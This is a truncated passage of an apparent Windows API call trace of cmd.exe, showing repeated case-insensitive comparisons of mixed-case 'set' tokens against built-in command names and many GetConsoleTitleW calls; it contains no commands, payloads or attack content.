(_String1="SEt", _String2="ERASE") returned 14 [0085.743] _wcsicmp (_String1="SEt", _String2="DEL") returned 15 [0085.743] _wcsicmp (_String1="SEt", _String2="TYPE") returned -1 [0085.743] _wcsicmp (_String1="SEt", _String2="COPY") returned 16 [0085.743] _wcsicmp (_String1="SEt", _String2="CD") returned 16 [0085.743] _wcsicmp (_String1="SEt", _String2="CHDIR") returned 16 [0085.743] _wcsicmp (_String1="SEt", _String2="RENAME") returned 1 [0085.743] _wcsicmp (_String1="SEt", _String2="REN") returned 1 [0085.743] _wcsicmp (_String1="SEt", _String2="ECHO") returned 14 [0085.743] _wcsicmp (_String1="SEt", _String2="SET") returned 0 [0085.743] GetConsoleTitleW (in: lpConsoleTitle=0x1ef600, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0085.744] _wcsicmp (_String1="Set", _String2="DIR") returned 15 [0085.744] _wcsicmp (_String1="Set", _String2="ERASE") returned 14 [0085.744] _wcsicmp (_String1="Set", _String2="DEL") returned 15 [0085.744] _wcsicmp (_String1="Set", _String2="TYPE") returned -1 [0085.744] _wcsicmp (_String1="Set", _String2="COPY") returned 16 [0085.744] _wcsicmp (_String1="Set", _String2="CD") returned 16 [0085.744] _wcsicmp (_String1="Set", _String2="CHDIR") returned 16 [0085.744] _wcsicmp (_String1="Set", _String2="RENAME") returned 1 [0085.744] _wcsicmp (_String1="Set", _String2="REN") returned 1 [0085.744] _wcsicmp (_String1="Set", _String2="ECHO") returned 14 [0085.744] _wcsicmp (_String1="Set", _String2="SET") returned 0 [0085.744] GetConsoleTitleW (in: lpConsoleTitle=0x1ef4b0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0085.744] _wcsicmp (_String1="set", _String2="DIR") returned 15 [0085.744] _wcsicmp (_String1="set", _String2="ERASE") returned 14 [0085.744] _wcsicmp (_String1="set", _String2="DEL") returned 15 [0085.744] _wcsicmp (_String1="set", _String2="TYPE") returned -1 [0085.744] _wcsicmp (_String1="set", _String2="COPY") returned 16 [0085.744] _wcsicmp (_String1="set", _String2="CD") returned 16 [0085.744] _wcsicmp (_String1="set", _String2="CHDIR") returned 16 [0085.744] _wcsicmp (_String1="set", _String2="RENAME") returned 1 [0085.744] _wcsicmp (_String1="set", _String2="REN") returned 1 [0085.744] _wcsicmp (_String1="set", _String2="ECHO") returned 14 [0085.744] _wcsicmp (_String1="set", _String2="SET") returned 0 [0085.745] GetConsoleTitleW (in: lpConsoleTitle=0x1ef480, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0085.745] _wcsicmp (_String1="sEt", _String2="DIR") returned 15 [0085.745] _wcsicmp (_String1="sEt", _String2="ERASE") returned 14 [0085.745] _wcsicmp (_String1="sEt", _String2="DEL") returned 15 [0085.745] _wcsicmp (_String1="sEt", _String2="TYPE") returned -1 [0085.745] _wcsicmp (_String1="sEt", _String2="COPY") returned 16 [0085.745] _wcsicmp (_String1="sEt", _String2="CD") returned 16 [0085.745] _wcsicmp (_String1="sEt", _String2="CHDIR") returned 16 [0085.745] _wcsicmp (_String1="sEt", _String2="RENAME") returned 1 [0085.745] _wcsicmp (_String1="sEt", _String2="REN") returned 1 [0085.745] _wcsicmp (_String1="sEt", _String2="ECHO") returned 14 [0085.745] _wcsicmp (_String1="sEt", _String2="SET") returned 0 [0085.745] GetConsoleTitleW (in: lpConsoleTitle=0x1ef3c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0085.745] _wcsicmp (_String1="SEt", _String2="DIR") returned 15 [0085.745] _wcsicmp (_String1="SEt", _String2="ERASE") returned 14 [0085.745] _wcsicmp (_String1="SEt", _String2="DEL") returned 15 [0085.745] _wcsicmp (_String1="SEt", _String2="TYPE") returned -1 [0085.745] _wcsicmp (_String1="SEt", _String2="COPY") returned 16 [0085.746] _wcsicmp (_String1="SEt", _String2="CD") returned 16 [0085.746] _wcsicmp (_String1="SEt", _String2="CHDIR") returned 16 [0085.746] _wcsicmp (_String1="SEt", _String2="RENAME") returned 1 [0085.746] _wcsicmp (_String1="SEt", _String2="REN") returned 1 [0085.746] _wcsicmp (_String1="SEt", _String2="ECHO") returned 14 [0085.746] _wcsicmp (_String1="SEt", _String2="SET") returned 0 [0085.746] GetConsoleTitleW (in: lpConsoleTitle=0x1ef3c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0085.746] _wcsicmp (_String1="SET", _String2="DIR") returned 15 [0085.746] _wcsicmp (_String1="SET", _String2="ERASE") returned 14 [0085.746] _wcsicmp (_String1="SET", _String2="DEL") returned 15 [0085.746] _wcsicmp (_String1="SET", _String2="TYPE") returned -1 [0085.746] _wcsicmp (_String1="SET", _String2="COPY") returned 16 [0085.746] _wcsicmp (_String1="SET", _String2="CD") returned 16 [0085.746] _wcsicmp (_String1="SET", _String2="CHDIR") returned 16 [0085.746] _wcsicmp (_String1="SET", _String2="RENAME") returned 1 [0085.746] _wcsicmp (_String1="SET", _String2="REN") returned 1 [0085.746] _wcsicmp (_String1="SET", _String2="ECHO") returned 14 [0085.746] _wcsicmp (_String1="SET", _String2="SET") returned 0 [0085.746] GetConsoleTitleW (in: lpConsoleTitle=0x1ef570, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.065] _wcsicmp (_String1="sET", _String2="DIR") returned 15 [0086.065] _wcsicmp (_String1="sET", _String2="ERASE") returned 14 [0086.065] _wcsicmp (_String1="sET", _String2="DEL") returned 15 [0086.065] _wcsicmp (_String1="sET", _String2="TYPE") returned -1 [0086.065] _wcsicmp (_String1="sET", _String2="COPY") returned 16 [0086.065] _wcsicmp (_String1="sET", _String2="CD") returned 16 [0086.065] _wcsicmp (_String1="sET", _String2="CHDIR") returned 16 [0086.065] _wcsicmp (_String1="sET", _String2="RENAME") returned 1 [0086.065] _wcsicmp (_String1="sET", _String2="REN") returned 1 [0086.065] _wcsicmp (_String1="sET", _String2="ECHO") returned 14 [0086.065] _wcsicmp (_String1="sET", _String2="SET") returned 0 [0086.066] GetConsoleTitleW (in: lpConsoleTitle=0x1ef3f0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.066] _wcsicmp (_String1="set", _String2="DIR") returned 15 [0086.066] _wcsicmp (_String1="set", _String2="ERASE") returned 14 [0086.066] _wcsicmp (_String1="set", _String2="DEL") returned 15 [0086.066] _wcsicmp (_String1="set", _String2="TYPE") returned -1 [0086.066] _wcsicmp (_String1="set", _String2="COPY") returned 16 [0086.066] _wcsicmp (_String1="set", _String2="CD") returned 16 [0086.066] _wcsicmp (_String1="set", _String2="CHDIR") returned 16 [0086.066] _wcsicmp (_String1="set", _String2="RENAME") returned 1 [0086.066] _wcsicmp (_String1="set", _String2="REN") returned 1 [0086.066] _wcsicmp (_String1="set", _String2="ECHO") returned 14 [0086.066] _wcsicmp (_String1="set", _String2="SET") returned 0 [0086.066] GetConsoleTitleW (in: lpConsoleTitle=0x1ef330, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.067] _wcsicmp (_String1="SET", _String2="DIR") returned 15 [0086.067] _wcsicmp (_String1="SET", _String2="ERASE") returned 14 [0086.067] _wcsicmp (_String1="SET", _String2="DEL") returned 15 [0086.067] _wcsicmp (_String1="SET", _String2="TYPE") returned -1 [0086.067] _wcsicmp (_String1="SET", _String2="COPY") returned 16 [0086.067] _wcsicmp (_String1="SET", _String2="CD") returned 16 [0086.067] _wcsicmp (_String1="SET", _String2="CHDIR") returned 16 [0086.067] _wcsicmp (_String1="SET", _String2="RENAME") returned 1 [0086.067] _wcsicmp (_String1="SET", _String2="REN") returned 1 [0086.067] _wcsicmp (_String1="SET", _String2="ECHO") returned 14 [0086.067] _wcsicmp (_String1="SET", _String2="SET") returned 0 [0086.067] GetConsoleTitleW (in: lpConsoleTitle=0x1ef330, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.067] _wcsicmp (_String1="set", _String2="DIR") returned 15 [0086.067] _wcsicmp (_String1="set", _String2="ERASE") returned 14 [0086.067] _wcsicmp (_String1="set", _String2="DEL") returned 15 [0086.067] _wcsicmp (_String1="set", _String2="TYPE") returned -1 [0086.067] _wcsicmp (_String1="set", _String2="COPY") returned 16 [0086.067] _wcsicmp (_String1="set", _String2="CD") returned 16 [0086.067] _wcsicmp (_String1="set", _String2="CHDIR") returned 16 [0086.067] _wcsicmp (_String1="set", _String2="RENAME") returned 1 [0086.067] _wcsicmp (_String1="set", _String2="REN") returned 1 [0086.068] _wcsicmp (_String1="set", _String2="ECHO") returned 14 [0086.068] _wcsicmp (_String1="set", _String2="SET") returned 0 [0086.068] GetConsoleTitleW (in: lpConsoleTitle=0x1ef480, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.068] _wcsicmp (_String1="Set", _String2="DIR") returned 15 [0086.068] _wcsicmp (_String1="Set", _String2="ERASE") returned 14 [0086.068] _wcsicmp (_String1="Set", _String2="DEL") returned 15 [0086.068] _wcsicmp (_String1="Set", _String2="TYPE") returned -1 [0086.068] _wcsicmp (_String1="Set", _String2="COPY") returned 16 [0086.068] _wcsicmp (_String1="Set", _String2="CD") returned 16 [0086.068] _wcsicmp (_String1="Set", _String2="CHDIR") returned 16 [0086.068] _wcsicmp (_String1="Set", _String2="RENAME") returned 1 [0086.068] _wcsicmp (_String1="Set", _String2="REN") returned 1 [0086.068] _wcsicmp (_String1="Set", _String2="ECHO") returned 14 [0086.068] _wcsicmp (_String1="Set", _String2="SET") returned 0 [0086.068] GetConsoleTitleW (in: lpConsoleTitle=0x1ef330, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.069] _wcsicmp (_String1="SeT", _String2="DIR") returned 15 [0086.069] _wcsicmp (_String1="SeT", _String2="ERASE") returned 14 [0086.069] _wcsicmp (_String1="SeT", _String2="DEL") returned 15 [0086.069] _wcsicmp (_String1="SeT", _String2="TYPE") returned -1 [0086.069] _wcsicmp (_String1="SeT", _String2="COPY") returned 16 [0086.069] _wcsicmp (_String1="SeT", _String2="CD") returned 16 [0086.069] _wcsicmp (_String1="SeT", _String2="CHDIR") returned 16 [0086.069] _wcsicmp (_String1="SeT", _String2="RENAME") returned 1 [0086.069] _wcsicmp (_String1="SeT", _String2="REN") returned 1 [0086.069] _wcsicmp (_String1="SeT", _String2="ECHO") returned 14 [0086.069] _wcsicmp (_String1="SeT", _String2="SET") returned 0 [0086.069] GetConsoleTitleW (in: lpConsoleTitle=0x1ef270, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.069] _wcsicmp (_String1="sEt", _String2="DIR") returned 15 [0086.069] _wcsicmp (_String1="sEt", _String2="ERASE") returned 14 [0086.069] _wcsicmp (_String1="sEt", _String2="DEL") returned 15 [0086.069] _wcsicmp (_String1="sEt", _String2="TYPE") returned -1 [0086.069] _wcsicmp (_String1="sEt", _String2="COPY") returned 16 [0086.069] _wcsicmp (_String1="sEt", _String2="CD") returned 16 [0086.070] _wcsicmp (_String1="sEt", _String2="CHDIR") returned 16 [0086.070] _wcsicmp (_String1="sEt", _String2="RENAME") returned 1 [0086.070] _wcsicmp (_String1="sEt", _String2="REN") returned 1 [0086.070] _wcsicmp (_String1="sEt", _String2="ECHO") returned 14 [0086.070] _wcsicmp (_String1="sEt", _String2="SET") returned 0 [0086.070] GetConsoleTitleW (in: lpConsoleTitle=0x1ef1b0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.070] _wcsicmp (_String1="SET", _String2="DIR") returned 15 [0086.070] _wcsicmp (_String1="SET", _String2="ERASE") returned 14 [0086.070] _wcsicmp (_String1="SET", _String2="DEL") returned 15 [0086.070] _wcsicmp (_String1="SET", _String2="TYPE") returned -1 [0086.070] _wcsicmp (_String1="SET", _String2="COPY") returned 16 [0086.070] _wcsicmp (_String1="SET", _String2="CD") returned 16 [0086.070] _wcsicmp (_String1="SET", _String2="CHDIR") returned 16 [0086.070] _wcsicmp (_String1="SET", _String2="RENAME") returned 1 [0086.070] _wcsicmp (_String1="SET", _String2="REN") returned 1 [0086.070] _wcsicmp (_String1="SET", _String2="ECHO") returned 14 [0086.070] _wcsicmp (_String1="SET", _String2="SET") returned 0 [0086.071] GetConsoleTitleW (in: lpConsoleTitle=0x1ef0c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.071] _wcsicmp (_String1="SET", _String2="DIR") returned 15 [0086.071] _wcsicmp (_String1="SET", _String2="ERASE") returned 14 [0086.071] _wcsicmp (_String1="SET", _String2="DEL") returned 15 [0086.071] _wcsicmp (_String1="SET", _String2="TYPE") returned -1 [0086.071] _wcsicmp (_String1="SET", _String2="COPY") returned 16 [0086.071] _wcsicmp (_String1="SET", _String2="CD") returned 16 [0086.071] _wcsicmp (_String1="SET", _String2="CHDIR") returned 16 [0086.071] _wcsicmp (_String1="SET", _String2="RENAME") returned 1 [0086.071] _wcsicmp (_String1="SET", _String2="REN") returned 1 [0086.071] _wcsicmp (_String1="SET", _String2="ECHO") returned 14 [0086.071] _wcsicmp (_String1="SET", _String2="SET") returned 0 [0086.071] GetConsoleTitleW (in: lpConsoleTitle=0x1ef000, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.072] _wcsicmp (_String1="seT", _String2="DIR") returned 15 [0086.072] _wcsicmp (_String1="seT", _String2="ERASE") returned 14 [0086.072] _wcsicmp (_String1="seT", _String2="DEL") returned 15 [0086.072] _wcsicmp (_String1="seT", _String2="TYPE") returned -1 [0086.072] _wcsicmp (_String1="seT", _String2="COPY") returned 16 [0086.072] _wcsicmp (_String1="seT", _String2="CD") returned 16 [0086.072] _wcsicmp (_String1="seT", _String2="CHDIR") returned 16 [0086.072] _wcsicmp (_String1="seT", _String2="RENAME") returned 1 [0086.072] _wcsicmp (_String1="seT", _String2="REN") returned 1 [0086.072] _wcsicmp (_String1="seT", _String2="ECHO") returned 14 [0086.072] _wcsicmp (_String1="seT", _String2="SET") returned 0 [0086.072] GetConsoleTitleW (in: lpConsoleTitle=0x1eef40, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.077] _wcsicmp (_String1="seT", _String2="DIR") returned 15 [0086.077] _wcsicmp (_String1="seT", _String2="ERASE") returned 14 [0086.077] _wcsicmp (_String1="seT", _String2="DEL") returned 15 [0086.077] _wcsicmp (_String1="seT", _String2="TYPE") returned -1 [0086.077] _wcsicmp (_String1="seT", _String2="COPY") returned 16 [0086.077] _wcsicmp (_String1="seT", _String2="CD") returned 16 [0086.077] _wcsicmp (_String1="seT", _String2="CHDIR") returned 16 [0086.077] _wcsicmp (_String1="seT", _String2="RENAME") returned 1 [0086.077] _wcsicmp (_String1="seT", _String2="REN") returned 1 [0086.077] _wcsicmp (_String1="seT", _String2="ECHO") returned 14 [0086.077] _wcsicmp (_String1="seT", _String2="SET") returned 0 [0086.078] GetConsoleTitleW (in: lpConsoleTitle=0x1eee80, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.078] _wcsicmp (_String1="SET", _String2="DIR") returned 15 [0086.078] _wcsicmp (_String1="SET", _String2="ERASE") returned 14 [0086.078] _wcsicmp (_String1="SET", _String2="DEL") returned 15 [0086.078] _wcsicmp (_String1="SET", _String2="TYPE") returned -1 [0086.078] _wcsicmp (_String1="SET", _String2="COPY") returned 16 [0086.078] _wcsicmp (_String1="SET", _String2="CD") returned 16 [0086.078] _wcsicmp (_String1="SET", _String2="CHDIR") returned 16 [0086.078] _wcsicmp (_String1="SET", _String2="RENAME") returned 1 [0086.078] _wcsicmp (_String1="SET", _String2="REN") returned 1 [0086.078] _wcsicmp (_String1="SET", _String2="ECHO") returned 14 [0086.078] _wcsicmp (_String1="SET", _String2="SET") returned 0 [0086.078] GetConsoleTitleW (in: lpConsoleTitle=0x1eee80, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.079] _wcsicmp (_String1="SEt", _String2="DIR") returned 15 [0086.079] _wcsicmp (_String1="SEt", _String2="ERASE") returned 14 [0086.079] _wcsicmp (_String1="SEt", _String2="DEL") returned 15 [0086.079] _wcsicmp (_String1="SEt", _String2="TYPE") returned -1 [0086.079] _wcsicmp (_String1="SEt", _String2="COPY") returned 16 [0086.079] _wcsicmp (_String1="SEt", _String2="CD") returned 16 [0086.079] _wcsicmp (_String1="SEt", _String2="CHDIR") returned 16 [0086.079] GetConsoleTitleW (in: lpConsoleTitle=0x1ef030, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.080] GetConsoleTitleW (in: lpConsoleTitle=0x1eef40, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.081] GetConsoleTitleW (in: lpConsoleTitle=0x1eedf0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.081] GetConsoleTitleW (in: lpConsoleTitle=0x1eedc0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.081] GetConsoleTitleW (in: lpConsoleTitle=0x1eec70, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.082] GetConsoleTitleW (in: lpConsoleTitle=0x1eed00, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.082] GetConsoleTitleW (in: lpConsoleTitle=0x1eee80, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.082] GetConsoleTitleW (in: lpConsoleTitle=0x1eee80, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.083] GetConsoleTitleW (in: lpConsoleTitle=0x1eed30, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.083] GetConsoleTitleW (in: lpConsoleTitle=0x1eec70, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.083] GetConsoleTitleW (in: lpConsoleTitle=0x1eec40, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.083] GetConsoleTitleW (in: lpConsoleTitle=0x1eeaf0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.084] GetConsoleTitleW (in: lpConsoleTitle=0x1eeaf0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.084] GetConsoleTitleW (in: lpConsoleTitle=0x1eed30, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.084] GetConsoleTitleW (in: lpConsoleTitle=0x1eec40, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.085] GetConsoleTitleW (in: lpConsoleTitle=0x1eeaf0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.085] GetConsoleTitleW (in: lpConsoleTitle=0x1eeaf0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.085] GetConsoleTitleW (in: lpConsoleTitle=0x1eeb80, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.086] GetConsoleTitleW (in: lpConsoleTitle=0x1eeac0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.086] GetConsoleTitleW (in: lpConsoleTitle=0x1ee970, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.086] GetConsoleTitleW (in: lpConsoleTitle=0x1ee8b0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.086] GetConsoleTitleW (in: lpConsoleTitle=0x1ee7f0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.087] GetConsoleTitleW (in: lpConsoleTitle=0x1ee880, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.087] GetConsoleTitleW (in: lpConsoleTitle=0x1eea30, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.087] GetConsoleTitleW (in: lpConsoleTitle=0x1ee970, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.087] GetConsoleTitleW (in: lpConsoleTitle=0x1ee940, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.087] GetConsoleTitleW (in: lpConsoleTitle=0x1ee7f0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.088] GetConsoleTitleW (in: lpConsoleTitle=0x1ee7c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.089] GetConsoleTitleW (in: lpConsoleTitle=0x1ee7c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.089] GetConsoleTitleW (in: lpConsoleTitle=0x1eea00, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.089] GetConsoleTitleW (in: lpConsoleTitle=0x1ee940, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.090] GetConsoleTitleW (in: lpConsoleTitle=0x1ee8b0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.090] GetConsoleTitleW (in: lpConsoleTitle=0x1ee940, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.090] GetConsoleTitleW (in: lpConsoleTitle=0x1ee7f0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.090] GetConsoleTitleW (in: lpConsoleTitle=0x1ee880, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.090] GetConsoleTitleW (in: lpConsoleTitle=0x1ee7f0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.091] GetConsoleTitleW (in: lpConsoleTitle=0x1ee730, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.091] GetConsoleTitleW (in: lpConsoleTitle=0x1ee730, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.091] GetConsoleTitleW (in: lpConsoleTitle=0x1ee880, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.091] GetConsoleTitleW (in: lpConsoleTitle=0x1ee7c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.091] GetConsoleTitleW (in: lpConsoleTitle=0x1ee670, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.092] GetConsoleTitleW (in: lpConsoleTitle=0x1ee5b0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.092] GetConsoleTitleW (in: lpConsoleTitle=0x1ee430, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.092] GetConsoleTitleW (in: lpConsoleTitle=0x1ee370, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.092] GetConsoleTitleW (in: lpConsoleTitle=0x1ee340, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.092] GetConsoleTitleW (in: lpConsoleTitle=0x1ee340, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.093] GetConsoleTitleW (in: lpConsoleTitle=0x1ee370, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.093] GetConsoleTitleW (in: lpConsoleTitle=0x1ee340, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.093] GetConsoleTitleW (in: lpConsoleTitle=0x1ee280, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.093] GetConsoleTitleW (in: lpConsoleTitle=0x1ee1c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.093] GetConsoleTitleW (in: lpConsoleTitle=0x1ee130, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.094] GetConsoleTitleW (in: lpConsoleTitle=0x1ee2b0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.094] GetConsoleTitleW (in: lpConsoleTitle=0x1ee2b0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.094] GetConsoleTitleW (in: lpConsoleTitle=0x1ee2b0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.094] GetConsoleTitleW (in: lpConsoleTitle=0x1ee1f0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.094] GetConsoleTitleW (in: lpConsoleTitle=0x1ee070, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.095] GetConsoleTitleW (in: lpConsoleTitle=0x1ee040, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.095] GetConsoleTitleW (in: lpConsoleTitle=0x1edf80, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.095] GetConsoleTitleW (in: lpConsoleTitle=0x1ede30, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.095] GetConsoleTitleW (in: lpConsoleTitle=0x1ede30, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.096] GetConsoleTitleW (in: lpConsoleTitle=0x1ee040, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.096] GetConsoleTitleW (in: lpConsoleTitle=0x1edef0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.096] GetConsoleTitleW (in: lpConsoleTitle=0x1edef0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.096] GetConsoleTitleW (in: lpConsoleTitle=0x1edef0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.096] GetConsoleTitleW (in: lpConsoleTitle=0x1edef0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.097] GetConsoleTitleW (in: lpConsoleTitle=0x1edec0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.097] GetConsoleTitleW (in: lpConsoleTitle=0x1edd70, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.097] GetConsoleTitleW (in: lpConsoleTitle=0x1edd40, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.097] GetConsoleTitleW (in: lpConsoleTitle=0x1edcb0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.097] GetConsoleTitleW (in: lpConsoleTitle=0x1ede30, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.098] GetConsoleTitleW (in: lpConsoleTitle=0x1edcb0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.098] GetConsoleTitleW (in: lpConsoleTitle=0x1edbf0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.098] GetConsoleTitleW (in: lpConsoleTitle=0x1edb30, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.098] GetConsoleTitleW (in: lpConsoleTitle=0x1edb00, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.099] GetConsoleTitleW (in: lpConsoleTitle=0x1eda70, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.099] GetConsoleTitleW (in: lpConsoleTitle=0x1edcb0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.099] GetConsoleTitleW (in: lpConsoleTitle=0x1edc80, 